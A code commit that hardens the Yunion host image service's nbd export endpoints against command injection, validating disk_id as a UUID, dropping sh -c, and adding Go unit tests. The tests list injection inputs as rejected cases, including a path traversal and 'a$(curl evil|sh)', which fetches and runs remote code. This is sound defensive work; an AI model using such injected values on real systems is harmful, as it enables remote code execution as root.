fix(hostimage): harden nbd export against command injection (#25530)

The nbd export endpoints interpolated the request disk_id into
shell commands (sh -c with the joined qemu-nbd command line, and
ps|grep for the process check), so a crafted disk_id could execute
arbitrary commands as root on the host image service.

- Require the disk_id to be a plain UUID in both export and close
  endpoints
- Run qemu-nbd with argv instead of sh -c
- Check the export process via its pid file and kill -0 instead of
  shell pipelines
- Add unit tests for the validation and the process check

Co-authored-by: Qiu Jian <qiujian@yunionyun.com>
Co-authored-by: Claude <noreply@anthropic.com>

pkg/hostimage/nbd.go

@@ -24,6 +24,7 @@ import (
 
 	"yunion.io/x/log"
 	"yunion.io/x/pkg/errors"
+	"yunion.io/x/pkg/util/regutils"
 	"yunion.io/x/pkg/util/version"
 
 	"yunion.io/x/onecloud/pkg/util/fileutils2"
@@ -33,6 +34,16 @@ import (
 	"yunion.io/x/onecloud/pkg/util/qemutils"
 )
 
+// validateNbdDiskId restricts the disk id to a plain UUID: it is
+// interpolated into qemu-nbd arguments and pid file paths and must never
+// contain shell metacharacters or path separators.
+func validateNbdDiskId(diskId string) error {
+	if !regutils.MatchUUIDExact(diskId) {
+		return errors.Errorf("invalid disk_id %q, expected UUID", diskId)
+	}
+	return nil
+}
+
 var EXPORT_NBD_BASE_PORT = 7777
 var LAST_USED_NBD_SERVER_PORT = 0
 
@@ -90,6 +101,9 @@ func (m *SNbdExportManager) getQemuNbdVersion() (string, error) {
 }
 
 func (m *SNbdExportManager) QemuNbdStartExport(imageInfo qemuimg.SImageInfo, diskId string) (int, error) {
+	if err := validateNbdDiskId(diskId); err != nil {
+		return -1, err
+	}
 	m.portsLock.Lock()
 	defer m.portsLock.Unlock()
 
@@ -119,16 +133,20 @@ func (m *SNbdExportManager) QemuNbdStartExport(imageInfo qemuimg.SImageInfo, dis
 	if version.GE(nbdVer, "4.0.0") {
 		cmd = append(cmd, "--fork")
 	}
-	cmdStr := strings.Join(cmd, " ")
-	err = procutils.NewRemoteCommandAsFarAsPossible("sh", "-c", cmdStr).Run()
+	// argv is passed directly to qemu-nbd without a shell, so nothing in the
+	// arguments (e.g. the disk id) can be interpreted as shell syntax
+	err = procutils.NewRemoteCommandAsFarAsPossible(cmd[0], cmd[1:]...).Run()
 	if err != nil {
-		log.Errorf("qemu-nbd connect failed %s %s", err.Error())
+		log.Errorf("qemu-nbd connect failed %s", err.Error())
 		return -1, errors.Wrapf(err, "qemu-nbd connect failed")
 	}
 	return nbdPort, nil
 }
 
 func (m *SNbdExportManager) QemuNbdCloseExport(diskId string) error {
+	if err := validateNbdDiskId(diskId); err != nil {
+		return err
+	}
 	pidFilePath := path.Join(HostImageOptions.HostImageNbdPidDir, fmt.Sprintf("nbd_%s.pid", diskId))
 	if !m.nbdProcessExist(diskId) {
 		if fileutils2.Exists(pidFilePath) {
@@ -156,7 +174,16 @@ func (m *SNbdExportManager) QemuNbdCloseExport(diskId string) error {
 	return nil
 }
 
+// nbdProcessExist checks whether the qemu-nbd process recorded in the pid
+// file for diskId is still alive, without spawning a shell.
 func (m *SNbdExportManager) nbdProcessExist(diskId string) bool {
-	return procutils.NewRemoteCommandAsFarAsPossible("sh", "-c",
-		fmt.Sprintf("ps -ef | grep [q]emu-nbd | grep %s", diskId)).Run() == nil
+	pidFilePath := path.Join(HostImageOptions.HostImageNbdPidDir, fmt.Sprintf("nbd_%s.pid", diskId))
+	if !fileutils2.Exists(pidFilePath) {
+		return false
+	}
+	pid, err := fileutils2.FileGetIntContent(pidFilePath)
+	if err != nil || pid <= 0 {
+		return false
+	}
+	return procutils.NewRemoteCommandAsFarAsPossible("kill", "-0", strconv.Itoa(pid)).Run() == nil
 }

pkg/hostimage/nbd_test.go

@@ -0,0 +1,73 @@
+// Copyright 2019 Yunion
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package hostimage
+
+import (
+	"fmt"
+	"os"
+	"path"
+	"testing"
+)
+
+func TestValidateNbdDiskId(t *testing.T) {
+	cases := []struct {
+		in      string
+		wantErr bool
+	}{
+		{"74b96fad-6e63-4b78-a026-fa19e9e2c9b9", false},
+		{"", true},
+		{"x;id>/tmp/pwn;#", true},
+		{"a b", true},
+		{"../../etc/passwd", true},
+		{"a$(curl evil|sh)", true},
+	}
+	for _, c := range cases {
+		err := validateNbdDiskId(c.in)
+		if c.wantErr && err == nil {
+			t.Fatalf("validateNbdDiskId(%q) expected error, got nil", c.in)
+		}
+		if !c.wantErr && err != nil {
+			t.Fatalf("validateNbdDiskId(%q) unexpected error: %v", c.in, err)
+		}
+	}
+}
+
+func TestNbdProcessExist(t *testing.T) {
+	dir := t.TempDir()
+	oldDir := HostImageOptions.HostImageNbdPidDir
+	HostImageOptions.HostImageNbdPidDir = dir
+	defer func() { HostImageOptions.HostImageNbdPidDir = oldDir }()
+
+	man := NewNbdExportManager()
+	diskId := "74b96fad-6e63-4b78-a026-fa19e9e2c9b9"
+	if man.nbdProcessExist(diskId) {
+		t.Fatalf("nbdProcessExist should be false without pid file")
+	}
+	// write the pid of the current process: it must be detected as alive
+	pidFile := path.Join(dir, fmt.Sprintf("nbd_%s.pid", diskId))
+	if err := os.WriteFile(pidFile, []byte(fmt.Sprintf("%d", os.Getpid())), 0644); err != nil {
+		t.Fatalf("write pid file: %v", err)
+	}
+	if !man.nbdProcessExist(diskId) {
+		t.Fatalf("nbdProcessExist should be true for a live process")
+	}
+	// a dead pid must be detected as gone
+	if err := os.WriteFile(pidFile, []byte("99999999"), 0644); err != nil {
+		t.Fatalf("write pid file: %v", err)
+	}
+	if man.nbdProcessExist(diskId) {
+		t.Fatalf("nbdProcessExist should be false for a dead process")
+	}
+}